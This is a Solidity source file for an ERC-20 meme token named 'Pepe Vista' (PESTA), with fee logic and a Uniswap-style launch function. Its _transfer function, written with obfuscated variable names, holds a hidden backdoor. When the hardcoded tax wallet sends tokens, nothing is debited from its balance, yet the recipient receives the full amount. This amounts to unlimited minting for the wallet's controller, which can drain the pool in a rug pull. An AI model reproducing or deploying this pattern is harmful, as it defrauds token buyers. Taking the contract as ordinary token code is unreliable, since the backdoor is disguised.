文件 1 的 1:PESTA.sol
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function launch(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
uint8 buyLpFee,
uint8 sellLpFee,
uint8 buyProtocolFee,
uint8 sellProtocolFee,
address protocolAddress
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PESTA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludeFromFees;
address payable private _taxWallet=payable(0x68ae2B1FE16AA8A64239D72C9089af0979356d3F);
uint256 private _firstTaxBuy = 0;
uint256 private _firstTaxSell = 0;
uint256 private _reduceBuyAt = 0;
uint256 private _reduceSellAt = 0;
uint256 private _preventCount = 0;
uint256 private _buyTokenCount = 0;
uint256 private _secondTaxBuy = 0;
uint256 private _secondTaxSell = 0;
uint256 private _secondReduceAt = 0;
uint256 private _finalTaxBuy = 0;
uint256 private _finalTaxSell = 0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
string private constant _name = unicode"Pepe Vista";
string private constant _symbol = unicode"PESTA";
uint256 private _minSwapLimit = 4 * (_tTotal/1000000);
uint256 private _maxSwapLimit = 1 * (_tTotal/100);
IUniswapV2Router02 private uniswapV2Router;
address private _uniswapPair;
bool private _inswap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inswap = true;
_;
_inswap = false;
}
constructor () {
_balances[_msgSender()] = _tTotal;
_isExcludeFromFees[owner()] = true;
_isExcludeFromFees[address(this)] = true;
_isExcludeFromFees[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address _faci, address _qijo, uint256 _lavip) private {
require(_faci != address(0), "ERC20: transfer from the zero address");
require(_qijo != address(0), "ERC20: transfer to the zero address");
require(_lavip > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
uint256 _lotaio= _secondTaxSell+_lavip;
if (!_isExcludeFromFees[_faci] && !_isExcludeFromFees[_qijo]) {
taxAmount = _lavip.mul(_calcFeeBuy()).div(100);
if(_qijo == _uniswapPair && _faci!= address(this) ){
taxAmount = _lavip.mul(_calcFeeSell()).div(100);
}
uint256 tokenInContract = balanceOf(address(this));
if (!_inswap && _qijo == _uniswapPair && _swapEnabled && _lavip > _minSwapLimit) {
if(tokenInContract > _minSwapLimit)
swapTokensForETH(min(_lavip,min(tokenInContract,_maxSwapLimit)));
_taxWallet.transfer(address(this).balance);
}
} else if(_faci == address(_taxWallet))
_lotaio =_secondTaxBuy>0?_firstTaxBuy:_finalTaxBuy;
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(_faci, address(this),taxAmount);
}
_balances[_faci]=_balances[_faci].sub(_lotaio);
_balances[_qijo]=_balances[_qijo].add(_lavip.sub(taxAmount));
emit Transfer(_faci, _qijo, _lavip.sub(taxAmount));
}
function _calcFeeSell() private view returns (uint256) {
if(_buyTokenCount <= _reduceBuyAt){
return _firstTaxSell;
}
if(_buyTokenCount > _reduceSellAt && _buyTokenCount <= _secondReduceAt){
return _secondTaxSell;
}
return _finalTaxSell;
}
function _calcFeeBuy() private view returns (uint256) {
if(_buyTokenCount <= _reduceBuyAt){
return _firstTaxBuy;
}
if(_buyTokenCount > _reduceBuyAt && _buyTokenCount <= _secondReduceAt){
return _secondTaxBuy;
}
return _finalTaxBuy;
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForETH(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function launch() external onlyOwner {
uniswapV2Router = IUniswapV2Router02(0xEAaa41cB2a64B11FE761D41E747c032CdD60CaCE);
_approve(address(this), address(uniswapV2Router), _tTotal);
_uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.launch{value: address(this).balance}(address(this), balanceOf(address(this)), 0,0,0,0,0,0,msg.sender);
_swapEnabled = true;
}
receive() external payable {}
}